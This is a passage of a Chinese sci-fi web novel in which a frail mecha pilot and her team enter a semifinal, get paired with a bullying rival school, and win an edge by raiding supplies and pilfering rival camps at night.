想起那名体质F同学当初来交材料，他们想方设法拒绝的时候,体质F同学曾经说过：“真的不通过？可能会后悔哦？” 现在竟然一语成谶。 上级一把将文件摔在桌上，气冲冲道：“还愣着干什么？快点想办法让她们把名字改回来。” 戈登回到办公室，不情不愿翻出陶影的联系方式，拨通了电话。 “喂？你好，这里是莱门大学外联部。” 戈登一边说着不好意思，为之前卡陶影的材料道歉，一边目的明确地让陶影把队伍名称改成“莱门大学机甲小队”。 但语气仍是一副高高在上，甚至带了点命令。 陶影对这通电话并不意外，她顿了下，微微一笑。 “不了。我们队伍的水平太菜，担心以学校的名义参赛会影响学校的形象，还是不改了吧，太空女鬼这个名字我很喜欢。我还有事，再见。” 陶影干脆地挂断了电话。 “嘟嘟——” 电话里传来强烈的拒绝信号。 戈登手僵在半空，半晌鼻腔中挤出一声冷笑：“得意什么呢，不就是进了半决赛吗。” “说不定马上就被淘汰了！” …… 半决赛和前几轮比赛的形式不一样，是组队模式。 两个队伍合作，在赛场内找到隐藏的信标，即可晋级。 这个模式的重点，除了队伍之间的合作、竞争，还考验参赛者对于环境情况的判断，对赛场资源的夺取。 是最为接近战场的比赛模式。 非常考验队伍的综合能力，也会出现各种各样的意外情况。 但总之…… 陶影摸摸下巴。 电子战的路数恐怕得变一变了。 …… 半决赛当天，场地内开始播放入场音乐。 主持人精神道：“欢迎大家来到第1312届天穹杯星际高校机甲联赛的现场！” 现场爆发出一阵欢呼声。 半决赛赛场在C区盖亚湿地。 湿地的北侧是殒星沼泽，而南侧是灰荆森林。 灰荆森林通常是选手们选择的主战场，这里的树种为超高品种，可以长到五十米，枝干也强悍，机甲甚至可以在上方行走。 “哇，今年的赛场竟然又扩大升级了！” 观众们坐在空中席位，感叹道。 半决赛，除去全星际的直播外，还开放了星舰作为VIP观众席。 星舰底部的透明舱，侧边四面和底部都由高透明材料制造，观众坐在 这里，整个赛场情况一览无余。 就是对恐高症患者不太友好。 一名黑发女性走下电梯，踏入透明舱。 侍者过来引路，黑发女性左右看了一眼，伸手示意不用了。 然后径直走向VIP席第一排。 红发卷毛男——尹子航看了看光脑，无奈地说：“小墨，你迟到了十分钟，开场结束，现在选手们都开始准备抽签分组了。” 柏墨面无表情：“正好，开场都是些废话，有什么好听的。” “我是来看机甲的，不是来看人的。” …… 不，也不能完全这么说，有一个人她勉强有点感兴趣。 柏墨面色冷冷地扫视了一圈正在入场的队伍，视线锁定在一名柔弱学生身上。 陶影正靠在队友背后，懒懒地朝着太阳闭目养神。 柏墨的视线盯在那里很久，才移开。 尹子航凑过来道：“你还真是十年如一日，对机甲以外的事情毫无兴趣……是为解锁者来的吧？” “当然，你呢？” “我是图兰提斯人！当然是来给学妹学弟加油的。”尹子航握拳。 说着尹子航指向下方的图兰提斯战术小队。 祝小芮、姬达婳、翟飞舟，三个人也在台上。 祝小芮蹦蹦跳跳地就来到陶影面前。 “S老师！哦，不对，该叫你小颖。”祝小芮不好意思地挠挠头。 陶影掀开眼皮，朝她打了个招呼。 “无所谓，猫核老师，随便怎么叫都可以。” 祝小芮和陶影开始聊起这次比赛的队伍。 “半决赛的这三十四个队伍中，之前进过决赛前三名的强校有图兰提斯战术学院，贝奥尔军事高等学院，青璇军校，长离军校，诺斯卡联邦军校，一共五所。” “帝国第一军校和卡缪军校都在另一场半决赛，没撞上他们算是运气还不错。”祝小芮补充道。 陶影猫一样懒趴趴地靠在林别歌身上。 她转了一圈，把每个队伍的队友和他们所属的学校对上号。 过程中看到一个熟悉的面孔。 祝小芮顺着陶影的视线望过去，显然也注意到了那个人，她嫌弃地皱起脸：“怎么跟阿尔泽塔军校分到一场比赛啊，真倒霉。” 祝小芮滔滔不绝：“我们去年跟阿尔泽塔分到一个队伍，本来很快拿到信标，但临近比赛结束，他们竟然偷袭我们学姐，害得学姐受伤，今年都没办法参加比赛。为了在决赛少一个竞争对手，竟然干出这种事，太过分了。” 陶影点点头。 她也见识过阿尔泽塔军校的手段。 “哦，对，你海选赛的时候和他们在一个赛区！”祝小芮拳头和掌心一碰，恍然大悟，“听说海选赛开场的时候，他们撞坏了你的机甲。那我就不多说啦，反正你比赛的时候得小心他们。” “嗯。” 祝小芮双手合十：“今年可千万别跟阿尔泽塔分到一个组。” 小组队伍是要随机抽签，队伍两两组队。 桌面上摆了十七个黑色的球。 主持人打开一个空心球，解释了一番抽签规则。 “这些球里面每个都有纸条，写着队伍名称，我们提前安排了十七个队伍，队长作为代表，来抽取你们将要联合的小队——哦，准确的来说，不是抽。” “是接！” 说着，主持人挥手掀开身边的红布，露出一个炮筒似的机器。 主持人把空心球放进一个炮筒样的小型机器，旋转一番把手后，球咻地飞出，正好撞在十米外的接球人手心。 他展示一番后，将十七颗球依次塞进了炮筒内。 “请队长上前！” 别人家的队员都是一番跃跃欲试：“队长你一定要抢到强队啊！” 而陶影这边完全是另外一种画风。 南卦满脸担心：“小影你一定要躲开啊！” 林别歌：“是啊是啊，我们捡剩的那个球就行了，你千万不要逞强！别被球砸了！” 祝小芮：“……”那个炮筒只是看上去可怕，球打出来并不重，真的有这么夸张吗？ “砰”——炮筒发出一声闷响。 前方一个人跳起来，身体反应非常快地截获了球，观众席发出一阵欢呼声。 “诺斯卡联邦军校抽到的队友是——贝奥尔军事高等学院！” “图兰提斯，青璇军校配对成功！” “太空女鬼队——” 第三颗球出来，似乎有些失速，直直朝陶影的面门飞去。 南卦大喊：“小影！躲开！” 林别歌一脚跨进栏杆，被工作人员死死拦住，她伸手道：“不要，快放我进去救她！” “队长，队长你不要死啊！” 观众：“……”真的有这么夸张吗？ 但陶影来不及躲开了，她的身体反应不太能跟上这个速度，眼看球飞到她面前二十厘米处—— 球突然停住了。 陶影眼睛微微睁大。 什么情况？ 她又要死了，现在是回光返照时间？ 不对啊，陶影摸摸下巴。 不是说回光返照的时候感觉会很好吗，可她还是浑身不舒服。 那这是怎么回事？ 周围的时间好像停止了下来。 赛场欢快的音乐被遥遥拉长，变成了沉重的低音。 面前的主持人，眼皮正缓慢的眨动，以一种慢到极点的速度。 所有人都好像……停止了动作。 陶影感觉自己脑中有一根弦正在振动。 黑球就在她面前二十厘米处。 十九、十八—— 陶影迟疑瞬间，伸手接住了球。 而就在这个瞬间，脑中那根弦的波动停止下来。 球在手中，重新开始旋转。 赛场的一切恢复了流动。 陶影眨了眨眼。 这个感觉，好像在哪里遇到过。 第一次驾驶恒我的时候，她开启Resonance共鸣模式，当时周围的世界也慢了下来。 是精神力在高度集中的状态下，对周围环境产生的极端高效的觉察。 她的精神力欺骗了她的肉|体，让它运作起来。 陶影一直知道精神力高的人，会有一些异于常人的能力。 难道这就是她的ESP？ 陶影掂了掂手中的球。 她又试着集中注意力，但脑中的那根弦再也没有奏响。 看来需要在一定的条件下才能激发这种能力。 陶影决定之后再研究，现在先专注比赛。她走到主持人身边的位置，举起黑球朝两位队友晃晃。 林别歌和南卦还在惊叹，刚才她们亲爱的队长竟然反常地接住球，被陶影这一晃，很快便反应过来。 “小影，快看我们抽到的是哪个队！” 陶影微微一笑，一脸自信地将球拆开。 看到上面的字后，神色一僵。 很快便一脸平静。 最后冷得淬刀似的笑了。 主持人抓耳挠腮等了半天，最后等不及，抢过陶影手中的纸条。 他对着话筒宣布。 “太空女鬼队抽到的队友是……呃……” “阿尔泽塔军校？” 第70章 很快,三十四个队伍两两组队完毕。 进入最后十分钟的赛前准备阶段。 赛场准备区，大家都很紧张。 陶影照例调试完机甲，熟练地顺着机甲的手臂滑下,冲到两位队友面前。 长离军事学院和钧曜军校进入热身区磨合。 贝奥尔军事高等学院和诺斯卡联邦军校——据陶影赛前调查，两家都是话不多说直接干的类型。果然,他们简单交流几句后就干脆开打。 图兰提斯小队则留在整备区，和青璇军校讨论战术。 各个队伍要不就聊得跃跃欲试,要不就打得热火朝天。 而太空女鬼队正在……吃东西。 “新口味的肉干要吗。”“我要。” “嘶——辣炒韭菜是什么调味？算了营养液递我一瓶。” “自己拿。”“啊~我好柔弱。” “队长,这里没外人,你的演技可以收一收。” 南卦吃吃笑了两声，打圆场道：“我去拿。” 路过的工作人员评价：这个队伍阴气森森的,但插科打诨的样子又正好弥补了这点。 陶影灌下去营养液,像是突然想起什么事,问道：“你们想不想跟阿尔泽塔军校组队？” 南卦和林别歌本来刚吃饱了，有点晕碳,这会儿一下子吓醒，连连摇头。 南卦：“不想,他们上次还害你摔进裂隙里！” “行，那就不组。” 林别歌一脸疑惑，签都抽完了,还能不组队？ 想到这里，林别歌突然道： “影子，难，难道你还有什么手段没有使出来……！” 陶影摆摆手：“能有什么手段，只是赛方又没说一定要互相配合，进去之后分头行动就行。” 林别歌呆呆的：“好像也是哦。” 拿到信标就能晋级，她们就当阿尔泽塔军校不存在！ 正说着,林别歌突然睁大眼睛，指向陶影身后。 她满脸吃惊地捶着胸口。 “唔，唔唔！！” “怎么，噎住了？” 陶影弯下身拿起一瓶营养液，朝林别歌递过去，但林别歌没接，依旧指着陶影的身后，面色惊恐。 耳边掠过一只手，夺走陶影手中的营养液。 背后有人。 陶影条件反射地回头。 身材壮实的两男一女站在陶影面前，挡住背后的光线。 熟悉的面孔。 顿了顿，陶影露出一个微冷的笑容。 “许彪。” “哟，冤家路窄啊。” 许彪大剌剌地走过来，随手拖过一把椅子，便两腿岔开坐下，一副找事的样子。 他身后的一男一女也上前一步，手臂微微一紧，大块的肌肉就绷紧了T恤。 林别歌立刻跨步上前，将两位队友护在身后。 “干什么？”林别歌大声道。 许彪身后的男人尾音上扬，起了个挑衅的语调。 “怎么，想打架？来啊，我们奉陪，就怕你们几个经不住我的拳头。” 林别歌怒极反笑：“你——！” 僵持片刻后，陶影先开口了。 “人类文明进化这么多年，高等动物之间的博弈通常不靠拳头。” 陶影淡然地站在那儿，语气一点没有阴阳怪气，但就是让人听上去不太对劲。 高等动物博弈不靠拳头…… 暗骂他们是畜生？ 童飞鸣粗壮的眉毛上扬：“你想死？不知道我们是阿尔泽塔军校的人吗？” “哦，当然知道——” 陶影拉长了语调，语气上扬。 “就是年年进决赛，年年拿不到名次那个三级军校阿尔泽塔嘛。” “非常有名，切斯特星谁不知道？” 陶影露出一个微笑。 柴婕冷哼一声：“是有点胆识，但没什么自知之明，弱者就该躲在强者身后，而不是出来逞强。” 说着，柴婕刀切般利落地向前一步。 她语气警告，伸出一根手指，戳上陶影的肩膀。 “这世界弱肉强食。” “我们是强者。而你们——” “是弱者。” 柴婕猛地往前一推，陶影一个踉跄，向后倒入林别歌胸口。 “小影？你没事吧！” 陶影没有回话，她半垂着头，额间的阴影让人看不太清她的表情。 乌云遮过六人的头顶，气氛一时变得有些阴暗。 半晌，陶影身体晃了晃，重新站直。 她眼眸微抬，竟……仍是带着一丝笑意。 许彪并未察觉这抹笑容的意味，示威似的晃晃手中的营养液。 “你刚刚说，高等动物一般不用暴力解决问题？巧了，我也有一套理论。” “这种低等食物，我们高等动物通常不吃。” 许彪露出一个让人牙痒痒的笑容，他高抬手，然后—— 哗啦一声，将营养液浇在陶影脚背上。 冰冷的液体顺着脚踝留下。 极具羞辱性意味地，许彪像浇给死人一样，慢慢地，将一瓶营养液浇完了。 最后一下，泼在陶影的小腿上。 许彪面上的横肉因为狰狞的笑容，挤成一团。 他讥讽地朝陶影拱手道：“敬您的，太奶。” “我来也没有别的事，就打声招呼。这是童飞鸣和柴婕，我的队友，待会儿比赛的时候别不认识。” “之前海选赛的事，我都还记着呢，你给我小心点，最好少拖我们后腿。” 许彪立了下马威，便大笑着离开了。 陶影半条腿湿透，非常狼狈，整片皮肤火辣辣的。 南卦从口袋里掏出纸巾，蹲下身就要帮她擦，陶影止住她的动作，把人捞了起来。 “我自己来。” “真的没事吗？” “担心我？” 陶影还是温柔地微笑，语气异常平静，仿佛刚刚什么都没有发生。 确，确实担心…… 因为小影刚刚的表情有点吓人。 南卦小声道：“感觉队长的黑暗面好像要溢出来了……” …… 并不愉快的小插曲结束，林别歌又是一阵垂头丧气：“怎么会跟他们组队，倒霉。” 陶影双手抱胸，表情淡然地点头。 “是啊，拿到信标之后，还得带他们一起晋级，感觉很不爽。” 林别歌茫然：“已经确认我们会晋级了吗？” 南卦：“我们会晋级的！我也会把阿尔泽塔军校那几个混蛋捶爆，交给我吧！” 南卦眼中燃烧着复仇的火焰。 林别歌伸手：“不不不，比赛的目的不是这个吧……我们是要拿到信标啊！” 陶影被两位队友拖着，慢悠悠往前走。 埋头看了眼光脑上的信息，陶影轻笑一声。 阿尔泽塔军校。 柴婕说得对，这世界的确弱肉强食。 但她从来不是弱者。 …… “比赛开始！” 太空女鬼队和阿尔泽塔军校的机甲，同时降落灰荆森林。 灰荆森林的树干，主干笔直，直冲云霄。哪怕在顶部，分支也很粗。 陶影的机甲稳稳站在分支上，几乎没有摇晃。 本次选择的机甲型号没有变化。 依旧是她和林别歌用曙光T4，南卦驾驶愚者MK2。 不过因为半决赛更改了武器的限制，她们在武器上做了一点小小的升级。 林别歌的武器变更为裂齿链锯。 听上去好像很厉害的样子，实际上就是个机甲用的大型链锯，很像用来砍树的。 林别歌觉得一点也不帅。 “为什么要换啊？” “热力刀不允许在森林这种地方使用。林别歌，你又没看我给的武器须知吧。” 林别歌心虚地转过头。 “看了也不会用嘛，不如自己上手试试。” 好学生南卦举手：“我看了，赛方解释，换用裂齿链锯是为了环保。不过实际上是因为这片森林的树如果烧毁，得赔不少钱。” 陶影隔空摸摸南卦的头：“正是如此。” “小影，阿尔泽塔的人下去了。” “嗯，先在上面待会儿，我有点事要确认。” 陶影用雷达检视了一下赛场，各个队伍都开始缓慢移动位置。 有一半的队伍已经开始寻找信标。 信标做了防检索的处理，光用雷达不可能找到。 选手需要对整个赛场进行地毯式的搜索。 这既考验观察能力，也考验运气。 队伍有三十四个，十七组，而信标只有四个。 先找到信标的四个小组可以晋级。 “我们要分头行动去找信标吗，小影？” “不，先等等，现在信标没有那么重要。” “啊？”南卦一脸疑惑，“但我们不是找到信标才能晋级吗？” “赛场很大，又必须每个角落都仔细搜索，短时间内找到信标的机会很小，往年半决赛的赛程都很长，通常都是第二天才有人找到第一个信标，今年赛场扩大了，恐怕要花上更久。”陶影解释道。 “比赛时间很长，所以……” 南卦顺着陶影的思路往下想了想，恍然大悟。 “我懂你的意思了！那我再等等！” 陶影微笑：“很快。” 林别歌听她俩一唱一和，抱着树凄凄惨惨地问道：“两位优等生能不能直说你们究竟懂了什么，照顾一下队友的智商？” 陶影嘴角微勾：“找物资啊。” 比赛赛制要求她们在寻找信标的同时，还要保证机甲的运行。 简单来说，赛场内除了信标，还设置了燃料和电力补给点，每天都会定量投送，而这个量，略小于选手们消耗的物资量。 也就是说，物资是有限的。 总有队伍会缺乏能源。 这是隐含的淘汰机制。 如果没有提前确认物资，后续几天根本没有多余的能源去寻找信标。 陶影敲敲操作台。 “刚刚已经找到两个补给点了，走吧。” 陶影带着队友，就这样扫荡了附近的一个燃料点，以及一个食物补给点，屯够了第二天的燃料和食物。 而殒星沼泽这边，有点作战经验的队伍，也和陶影一样，在寻找物资点，比如图兰提斯战术小队。 祝小芮兴奋道：“拿到两天的物资啦，大花学姐，我们找信标走起！” 姬学姐无奈道：“都说了我叫姬达婳，不是姬大花……” 但也不是每个队伍都这么清楚比赛考验的真正目的。 尤其是一些新生队伍，他们只是误打误撞进了半决赛，实力有限。 譬如瓦伦提斯军校。 他们早早在搜索信标的时候，将燃料用光，最后机甲停止运作，三名队员只能肉身下机，寻找补给点。 但这样效率非常低，到后来，几乎只能放弃比赛。 青璇军校则是知道要寻找物资，但运气不好，和贝奥尔军校看上了同一个物资点，他们在经过一阵战斗后，完全不是贝奥尔军校的对手，只得退让。 而当青璇军校继续寻找下一个物资点时，发现早已被陶影她们搜刮光，只能暂时在补给点旁边等待第二天的补充。 实力和运气，都是比赛不得不品尝的一环。 一时间，三十四个队伍只剩下一半的队伍还在搜索。 陶影操纵曙光T4，找了一个安全位置存放好物资。 随后站在巨树最高点，俯视着整个赛场。 “既然已经保障了物资，那就开始找信标吧。” “好嘞！” 陶影的手干脆地在屏幕上，划掉其它队伍搜索过的区域。 “林别歌，你去B4坐标点。南卦，你去B6。” “收到！”“收到！”—— 作者有话说：陶影：高等动物之间的博弈通常不靠拳头。 林别歌：你是不是偷偷把我也给骂了？魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 比赛开始六个小时,包括太空女鬼队在内，所有选手都一无所获。 赛场平静得让人有些犯困。 观众席上一半的人都睡了过去。 有人问：“开场这么久，信标的影子都没见过,究竟长什么样？” “是个双锥体形态的通讯器，选手激活信标后,它会垂直向天空发射光束。” “总之只要有人找到信标，我们马上就能看见的,非常明显。” 大部分队员的体力已经到达了极限。 整片湿地被黑暗覆盖,夜色降临,半决赛第一天就这样结束。 观众屁股都坐麻了，这时候也离开了VIP观赛席位,来到星舰上方的餐厅,稍作休息。 餐厅遍布讨论的声音。 尹子航：“这四个信标究竟藏在哪里了,别说选手了，观众席都没人找到。小墨,你有没有信标位置的一手消息？” 柏墨机械地吃完饭，安静擦嘴,一言不发，在尹子航锲而不舍的追问下才勉强开口。 “放置信标的人在星舰内监狱锁着，比赛结束之前不会放出来。” 尹子航：“……”那真是非常保密了。 尹子航找了半天话题,柏墨都爱搭不理，最后他终于想起一个话题，柏墨肯定感兴趣。 他举起一根手指：“白颖！” 柏墨动作微顿，转过头：“她怎么了？” 果然！ 之前图兰提斯友谊赛，尹子航发现那位体质F同学竟然参赛了，特地给柏墨打过电话，当时他少有地在柏墨身上察觉到一点“着急”的情绪。 柏墨看上去对体质F同学的情况异常在意。 尹子航托着下巴道：“你是担心她的身体情况？” 半决赛确实容易受伤。 而且看海选赛就知道,体质F同学对自己的体质没什么数，老是喜欢在危险的边缘试探，非常爱找刺激。 尹子航认为，柏墨肯定是担心体质F同学决赛未进，中道崩殂，那恒我就没有机师了，所以特地来观战。 但他猜错了。 柏墨缓缓摇头：“我担心她的精神力。” “她的精神力有什么好担心的？” 尹子航挠头。 虽然他对解锁者了解不多，但白颖当初可是开着知觉机甲，面对星盗一打三毫不逊色。 精神力S，这个世界上精神状态比她稳定的人应该不多了。 尹子航皱起眉头：“难道她驾驶恒我的时候，留下了精神力后遗症？” “应该不是，”柏墨虽然否认了，但语气也拿不太准，她继续道，“我们分析过白颖的精神力数据，发现她在和星盗对峙的时候，曾经有过异常的精神力波动。” 柏墨私下和白颖联络过，询问她这道波动是怎么回事，但白颖解释那是因为恒我特殊的共鸣模式。 柏墨虽然接受了这个说法，但总感觉哪里不对劲。 “白颖每周会来柏氏工业的内部医疗舱做一次全面的精神力测试。” “结果呢？” 柏墨的面色变得有些纠结，片刻后，她叹了口气：“一直都在正常水平，而且她的精神力还在不停上升。” “她的精神力一开始因为疲劳，测出来是S，后来逐渐上涨到S+，但上升幅度并没有减小。” “上升幅度没减小……你的意思是，继续这样下去，她的精神力还能上升到SS？” “甚至到SSS。” 尹子航嘴巴张得像能塞进一个鸡蛋。 SSS！ 星际上一个精神力能达到SSS的人，可是西尔维娅斯托姆，他们图兰提斯战术学院的创始人，一级指挥官！ 她在攸关人类生死的塔恩泽大战中，以少胜多，毁灭虫巢，最后和虫母同归于尽。 自西尔维娅之后，星际再没有出过第二个精神力SSS的元帅，如果白颖真的能达到精神力SSS，那，那岂不是……等下，既然精神力这么高，那为什么要担心？ 尹子航一脸茫然：“你总不可能是担心她精神力太高了吧？” 柏墨叹气：“不是担心太高。” “那是？” “和你没关系。” 尹子航：“……” 要是没关系一开始就别说啊，这告诉他一半是想憋死他吗！ 他只是想知道星际是不是会再出一个西尔维娅元帅啊！ 但这之后，任凭尹子航如何软磨硬泡，柏墨愣是一个字也没再透露，尹子航只能气呼呼回房睡觉去了。 空无一人的观众舱内，柏墨手扶着透明的舱壁，向下望去。 解锁者的曙光T4正在一处非常隐蔽的地点，显然那里是她所寻找的物资点。 病弱的机师扶着酸痛的腰，摇摇晃晃缩进物资点，应该是去拿食物了。 【滴——】 光脑响起声音，柏工的医疗舱对白颖的数据分析结束，他们打来报告。 医疗舱的人员语气紧急。 “柏小姐，我们再次确认了解锁者的数据，海选赛后，她的精神力的确多次出现异常波动，进入了和驾驶恒我时类似的‘失控’状态。” “而今天下午三点比赛开始前，她曾出现一次短暂失控。” “请您务必注意，失控状态虽然能提升洞察力，但会屏蔽人类的情绪接口。” 医疗技术人员手心冒汗：“这，这代表解锁者会失去人类社会所学到的一切情感色彩，只凭借本能行动。” 夜色遮盖了整片赛场，湿地提前驱散了动物种群，这里没有任何鸟叫或虫鸣，只有篝火的噼啪声。 赛场蔓延出无尽的阴影。 那名病弱的机师此刻正在和队友有说有笑，并没有任何异常。 柏墨沉思片刻，挂断了通讯。 技术员说，她在失控状态会遵循本性行动。 可解锁者的本性……是什么呢？ …… 陶影爬下机甲，来到物资点，谨慎地将食物带回机甲上。 南卦小口啜 饮营养液。 林别歌看了眼物资里的食物，都是滞销口味，随后开始哀嚎联赛方抠门。 几人填饱肚子，开始商量接下来的安排。 现在是半夜十二点。 虽然根据陶影的观察，其它选手几乎都休息了，有人发动袭击的概率很小，但以防万一，还是要有人守夜。 南卦举手：“我的睡眠时间七个小时左右，我先守吧！” 林别歌：“呃，我经常一觉睡到天亮，雷打不醒的，要不我先守？我熬不住的时候再叫你们好了。” 望风点在她们的物资点附近的巨树顶部。 凌晨三点，林别歌开始眼皮打架。 本着撑不住了就别硬撑的思想，林别歌跳下树冠找南卦换班。 南卦刚守了五分钟，陶影的机甲也跳上树冠。 曙光T4碰碰愚者MK2的胳膊。 陶影沉稳地指了指脚下，示意南卦换班。 “你休息吧，换我。” 南卦摆摆手：“你才睡了几个小时，还是我守吧，反正我晚上经常做噩梦，也睡不好。” “睡不好才应该多休息。” 陶影正想说自己睡眠时间很短，是真的已经睡醒了，南卦不用跟她客气，突然看见屏幕上出现几个光点。 陶影思索片刻，伸手道：“等一下，我有个想法。” 南卦：“什么想法？” 陶影微微一笑：“我刚刚找到两个已经刷新的物资点，你要是睡不着，那干脆……” 两人看向屏幕上新刷出来的物资点。 相视一笑。 “夜袭！” 按着顺序将附近的物资点扫荡一空后，两人完全没有了睡意。 南卦看着山洞里装满的物资，还有什么都不知道睡得死死的林别歌，心中传来猛烈的幸福感。 “这些物资够我们用好几天了！” 陶影则是走来走去清点物资量。 她摩挲下巴：“明天应该又有三四个队伍燃料用尽了吧。” 竞争对手又少了一点。 “小影，你笑得好邪恶。” “哦？”陶影回过头，笑容意味深长，“糟糕，竟然不小心被你发现了本性，没办法，这下只能彻底封口——” 篝火摇晃的阴影中，一道坚硬似刀的物体架到了南卦的脖子上。 南卦脖子一凉，惊吓地后退两步：“小影，你要做什么！” 南卦伸手一挡，那把坚硬的“刀”从脖子滑落到她怀里。 “？” 怎么感觉触感不太对。 南卦把刀捡起来一看。 ……这不是林别歌偷偷藏在兜里的肉干吗。 陶影岔腿往旁边一坐，也拆了一条包装，香味十足。 “饿了，加餐。” 那确实也是封口了。 因为忙着吃。 “小影，你的本性应该是猫吧，玩心很重，爱欺负人。” 她们的队长喜欢猫薄荷味的营养液，浑身软趴趴的，经常液体一样躺在沙发上。 南卦觉得自己这个推测非常合理。 她指着陶影道：“小影，你的真身是邪恶黑色大猫猫！” “怎么会，我很善良的。” “善良的人一般不会说自己善良吧，”南卦嚼嚼嚼，“趁比格老师没醒偷吃她的零食好吗？有种半夜偷菜的刺激感。” 陶影漫不经心道：“没事，她不会醒的。话说反正都睡不着了，要不真的偷点东西试试？” 偷东西？ “这不太道德吧。” 南卦对着手指，扭扭捏捏。她是从来不做这种事情的。 三秒后，南卦眨巴眨巴眼睛凑到陶影面前。 “偷什么？” …… 午夜三点，一台愚者MK2轻盈地潜入附近的机甲营地。 这里是青璇军校的驻扎点。 身后的曙光T4朝愚者MK2打了一个手势。 南卦利索地下机，小心拆开几台机甲的燃料舱，哗啦啦接到一个燃料桶里，封好几大桶燃料后，她钻回机甲。 “小影，这个型号的燃料我们好像用不上？”南卦奇怪道。 “晚上可以烧着取暖。” “那这些食物？” “比赛完可以带回家，让林别歌解决。” 十分钟后，青璇军校的物资被一扫而空。 而青璇军校的几位选手，睡梦正酣，对自己未来几天将要面临的地狱绘图，毫无察觉。 两名大盗迅速进入下一个机甲营地—— 作者有话说：我们小影的本性究竟是什么呢[狗头叼玫瑰] 第72章 仅仅四小时,两名大盗神不知鬼不觉，将附近的三个机甲营地洗劫一空。 满载而归回到营地，南卦面上洋溢着笑容,但走着走着，脚步慢下来,最后突然一顿。 陶影疑惑道：“怎么了？” 南卦两手捂住脸。 寻找刺激之后道德感突然回归大脑怎么破？ “青璇军校是图兰提斯的队友，这样会不会太缺德了？感觉猫核老师会讨厌我们。” 陶影露出一个堪称纯良的微笑。 “这个嘛,你过来一下。” 南卦凑到陶影耳边,听陶影小声细细地说,南卦一会儿眼睛发亮，一会儿连连点头。 “哦——”南卦恍然大悟。 她和陶影对视一眼后,碰拳。 “比赛第一,友谊第二！” 第一晚就这样毫无波澜地过去。 第二天,青璇军校和另外几个机甲营地的选手清醒过来，正打算开动机甲,突然发现燃料槽提示剩余0%。 杜湛一脸疑惑：“嗯？什么情况。” 他昨天睡前不是加满了燃料吗，难道是能源模块出现了什么问题？ 杜湛迷迷糊糊走到机甲的燃料舱,检查一番。……不，其实根本不需要检查。 因为燃料舱的下方空空如也。 别说是燃料了，连装燃料的缸都不见了。 杜湛呆愣片刻,不可置信地揉了揉眼睛，最后发出一声大喊。 “谁把我的能源核心偷走了！！！” 不仅是他，周围的队友也发现不对，开始嗷嗷乱叫。 “我去我燃料全没了，谁干的！” “燃料没了就算了，谁把我机甲的手脚全拆了，就剩一个球了,大变态啊！！” 夜袭青璇军校营地的人，不仅偷走了他们的燃料，下掉机甲的行进模组。 还颇有闲心地用机甲零件摆了幅画。 面瘫队友看着那幅摆出两猫一狗的抽象画，沉着冷静地半蹲下身，站起，又蹲下，重复几个来回后，表情裂开。 “你别说还有点艺术感，虽说精神状态像喝了假酒……” 杜湛气得跳起来，猛地往面瘫后脑勺上一拍：“这是重点吗！” “我们明明设置了雷达干扰，还有光学迷彩，是谁竟然能突破重重阻碍发现我们的位置？” “呃，贝奥尔军校？图兰提斯应该也……哦，还有那个海选赛非常有名的队伍，叫什么来着，太空女鬼？” “不管是谁，让我发现你拆我爱机，你就死定了！！！” 杜湛不愧是体质A，吼声如山林中的猛虎，中气十足。 余音极具穿透性，穿过森林和沼泽，里三圈外三圈把赛场内还在睡觉的所有人都叫醒了。 而这吼声就像能传染一样，瞬间以青璇军校的营地为圆心，扩散到附近的好几个机甲营地。 一时间被夜袭的营地都鸡飞狗跳。 “谁偷了我的营养液，还偷的是猫薄荷味——！” “不是，怎么还在我机甲上画画？在脸颊上画‘////’是什么意思？为什么要把它们摆成这种奇怪的姿势？” “究竟是哪个变态！！” 十几名选手，要不疯狂抓着头发濒临崩溃，要不就是看上去还十分平静，实则已经走了一会儿了。 那选手原地发疯一阵后，茫然四顾，仿佛精神受了什么刺激。 此时，正好路过一台曙光T4。 它动作慢悠悠的，一 点不像在比赛。 倒有些像犯罪嫌疑人回到现场欣赏自己的杰作。 失控的选手指着这台曙光T4，语气凶狠。 “喂，你们营地不是在附近吗，有看见昨晚的机甲是谁吗！” 这名选手显然已经失控，竟然冲了上来，试图只身拉住这台曙光T4。 那台曙光T4顿了下：“不知道，我们的营地在沼泽那边，不过……” “不过什么！” “昨天是有看见阿尔泽塔军校在附近晃悠。”陶影笑眯眯道。 那选手恨恨地道：“可恶……果然是阿尔泽塔军校吗，确实只有那群流氓能干得出来这种事。” “队友们，走起！我管它什么阿尔泽塔军校，今天就跟他们拼了！” 说着一行人组队干阿尔泽塔去了。 陶影欣然点点头，看向他们远去的背影。 阿尔泽塔军校。 许彪、柴婕、童飞鸣。 既然是队友，总得派上一点用场吧？ …… 上午九点，赛场的东南方向，一道紫色的光柱打上天空。 所有人同时仰头。 空中传来主持人欢快的声音。 “本轮半决赛的第一组晋级队伍出现了！” “恭喜瓦伦提斯军校和维加瑞军校找到第一枚信标，成功晋级！” 而观众席传来稀稀拉拉的鼓掌声。 大家都还没睡醒。 尹子航打了个呵欠，坐到柏墨身边。 “哦，终于有人找到了第一个信标，天选之子！谁啊，是你现在盯着的那位不？” 柏墨摇摇头：“不是。白颖一直在收集物资，她根本没在找信标。” 尹子航疑惑：“收集物资固然重要，但最终还是要找信标啊，这个方案也太保守了，不像她的风格。” 柏墨补充道：“她扫荡了物资点的物资，还趁晚上的时间，顺便把附近营地的物资也收集了一下。” “……” 那不就是扫荡了好几个队伍的机甲营地吗。 人类通常把这种行为叫做抢，不叫收集。 尹子航扶额：“那确实有她的风格了。” “但她收集这么多物资干什么，又用不完……啊。”尹子航想到什么，呆愣在原地。 “难道这就是她的目的？强占所有物资，这样最后场上只剩下太空女鬼队，队员就可以慢慢找信标了。” 柏墨点点头：“是啊，生存赛，很有意思。” “比赛的目的不是这个吧。” 赛制都变了啊！说好的找信标呢！！ 尹子航默默擦汗：“半决赛就玩这么夸张，决赛她岂不是要上天？” 柏墨点点头：“我觉得她的战斗风格很有图兰提斯的感觉。” “我们图兰提斯要脸的！” “所以你们友谊赛输给她了。”柏墨冷冷瞥他一眼。 尹子航：“……” …… 而另一边，林别歌醒来的时候，身边堆满了物资。 等下，怎么感觉比起昨天睡着的时候，物资又翻倍了？她是睡迷糊了吗？ 林别歌爬出山洞，两位队友已经在机甲上等着她了。 陶影朝她抛来早餐：“真能睡啊你。” “我都说了我雷打不醒嘛。”林别歌挠挠头。 此时，曙光T4的手将林别歌托入驾驶舱。 陶影大概总结了一下现在的赛场情况，80%的场地已经被搜索完毕，找到信标的队伍只有一个。 瓦伦提斯军校。 